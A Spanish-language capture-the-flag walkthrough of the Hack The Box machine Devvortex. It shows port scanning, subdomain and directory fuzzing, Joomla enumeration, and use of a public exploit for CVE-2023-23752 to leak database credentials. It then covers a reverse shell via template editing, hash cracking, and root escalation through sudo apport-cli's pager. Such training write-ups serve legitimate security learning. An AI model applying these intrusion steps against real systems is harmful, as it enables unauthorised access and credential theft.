Devvortex es una máquina easy, y nos sirve para reforzar temas de fuzzing web, como tambien enumeración de gestores de contenido en este caso Joomla, mismo que después de obtener las credenciales como administrador del Joomla, vamos a ver como nos conectamos al usuario mediante una reverse shell, y luego de obtener como un usuario procedemos a la escalada de privilegios para obtener la flag final.
❯ sudo nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.11.242
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-29 06:15 CET
Initiating SYN Stealth Scan at 06:15
Scanning 10.10.11.242 [65535 ports]
Discovered open port 80/tcp on 10.10.11.242
Discovered open port 22/tcp on 10.10.11.242
sendto in send_ip_packet_sd: sendto(4, packet, 44, 0, 10.10.11.242, 16) => Operation not permitted
Offending packet: TCP 10.10.15.31:56803 > 10.10.11.242:5429 S ttl=39 id=31174 iplen=44 seq=3456924625 win=1024 <mss 1460>
Completed SYN Stealth Scan at 06:15, 24.85s elapsed (65535 total ports)
Nmap scan report for 10.10.11.242
Host is up, received user-set (0.51s latency).
Scanned at 2023-11-29 06:15:04 CET for 25s
Not shown: 37039 filtered tcp ports (no-response), 28494 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 25.01 seconds
Raw packets sent: 119782 (5.270MB) | Rcvd: 28607 (1.144MB)
Vemos que tenemos los puesrtos 20 y 80 abiertos por lo que vamos a enviar scripts comúnes con el parámetro -sC y tratar de averiguar la versión de los servicios con el parámetro -sV.
❯ sudo nmap -sCV -p22,80 10.10.11.242
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-29 06:17 CET
Nmap scan report for devvortex.htb (10.10.11.242)
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DevVortex
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.77 seconds
Por la versión del ssh podemos saber que estamos ante un Ubuntu Focal (20.04)
Vamos a añadir al /etc/hosts el dominio devvortex.htb
Podemos observar la página montada en el puerto 80, procedemos a realizar un vhost discovery usando wfuzz.
❯ wfuzz -c --hc=302,404,400 -H "HOST: FUZZ.devvortex.htb" -z file,/usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 20 http://devvortex.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://devvortex.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 501 L 1581 W 23221 Ch "dev - dev"
Total time: 23.73859
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 210.1640
Hemos encontrado que tiene un subdomino dev (tambien añadimos ese subdominio al /etc/hosts), nos dirigimos a ese subdominio y procedemos hacer un fuzzing de directorios para osberva si encontramos algo que nos llame la atención.
❯ wfuzz -c --hc=404 --hl=501 -u http://dev.devvortex.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://dev.devvortex.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 301 7 L 12 W 178 Ch "images"
000000081: 301 7 L 12 W 178 Ch "templates"
000000080: 301 7 L 12 W 178 Ch "media"
000000145: 301 7 L 12 W 178 Ch "modules"
000000519: 301 7 L 12 W 178 Ch "plugins"
000000638: 301 7 L 12 W 178 Ch "includes"
000000870: 301 7 L 12 W 178 Ch "language"
000001026: 301 7 L 12 W 178 Ch "api"
000001005: 301 7 L 12 W 178 Ch "components"
000001083: 301 7 L 12 W 178 Ch "cache"
000001249: 301 7 L 12 W 178 Ch "libraries"
000003237: 301 7 L 12 W 178 Ch "tmp"
000003547: 301 7 L 12 W 178 Ch "layouts"
000005689: 301 7 L 12 W 178 Ch "administrator"
Existe un directorio administrador y que además observamos que dev.devvortex.htb está en un gestor de contenidos, más especifico en Joomla
Vamos a proceder hacer una enumeración del Joomla.
Usando joomscan, vamos a ver si podemos obtener la versión del Joomla y de ahi proceder con la búsqueda de algún exploit que nos ayude a ingresar.
sudo joomscan -u http://dev.devvortex.htb
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://dev.devvortex.htb ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 4.2.6
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://dev.devvortex.htb/administrator/
[+] Checking robots.txt existing
[++] robots.txt is found
path : http://dev.devvortex.htb/robots.txt
Interesting path found from robots.txt
http://dev.devvortex.htb/joomla/administrator/
http://dev.devvortex.htb/administrator/
http://dev.devvortex.htb/api/
http://dev.devvortex.htb/bin/
http://dev.devvortex.htb/cache/
http://dev.devvortex.htb/cli/
http://dev.devvortex.htb/components/
http://dev.devvortex.htb/includes/
http://dev.devvortex.htb/installation/
http://dev.devvortex.htb/language/
http://dev.devvortex.htb/layouts/
http://dev.devvortex.htb/libraries/
http://dev.devvortex.htb/logs/
http://dev.devvortex.htb/modules/
http://dev.devvortex.htb/plugins/
http://dev.devvortex.htb/tmp/
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Podemos ver que si detectamos el gestor de contenido con anterioridad podríamos haber listado los directorios de manera más rápida, pero lo importante aquí es que hemos obtenido la versión , cual es la 4.2.6, procedemos a buscar un exploit para entrar
Si buscamos por searchsploit lo siguiente:
Procedemos a descargarlo:
❯ searchsploit -m php/webapps/51334.py
[i] Found (#2): /opt/exploit-database/files_exploits.csv
[i] To remove this message, please edit "/opt/exploit-database/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
[i] Found (#2): /opt/exploit-database/files_shellcodes.csv
[i] To remove this message, please edit "/opt/exploit-database/.searchsploit_rc" which has "package_array: exploitdb" to point too: path_array+=("/opt/exploit-database")
Exploit: Joomla! v4.2.8 - Unauthenticated information disclosure
URL: https://www.exploit-db.com/exploits/51334
Path: /opt/exploit-database/exploits/php/webapps/51334.py
Codes: CVE-2023-23752
Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/luis/Desktop/Devvortex/exploits/51334.py
Le cambiamos el nombre porque si lo leemos está programado en ruby.
mv 51334.py exploit.rb
Encontramos en el código el repositorio para poder obtener más información, y saber como ejecutar el exploit, por lo que procedemos a ejecutar el script.
❯ ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: ************
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
Tenemos credenciales de la base de datos, por ende del joomla administrador, y tambien conocemos que existe otro usuario logan, información que podemos registrar, en un txt para no perderla.
Ingresamos al administrador.
Estando en el gestor de contenido como adminstrador, nos dirigimos a Adminitrator Templates.
Nos dirigimos a este template, el único que van a ver
Nos ponemos en escucha por el puerto 443 y nos dirigimos a cualquier archivo .php y colocamos el one liner para obtener una reverse shell.
❯ sudo nc -nvlp 443
listening on [any] 443 ...
Obtenmos nuestra shell as ww-data
Hacemos un tratamiento de la tty, y procedemos con la escalada de privilegios.
Recordamos que tenemos las credenciales de la base de datos por lo que podemos revisar si encontramos credenciales guardadas.
www-data@devvortex:/home$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 46214
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Ahora listamos las bases de datos.
Usaremos la base de datos joomla y listamos las tablas.
Dentro de todas las tablas que aparecen vamos a usar sd4fg_users y vamos a ver el contenido de la misma.
Ahora usando john the ripper vamos a desemcriptar el hash del password de logan.
Tenemos contraseña ahora nos conectamos vía ssh
ssh logan@10.10.11.242
Vamos a observar que comandos podemos ejecutar como sudo.
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
Vemos que tenemos ese binario que podemos explotar para escalar de privilegios vamos a buscar el exploit y vemos que nos indican que mediante less cuando entramos a pager
Por lo que vamos a probocar entrar en modo paginador de la siguiente manera:
Precionamos V y esperamos entrar en modo pager.
Cuando estemos en modo paginador, vamos a poner !/bin/bash y luego presionamos enter: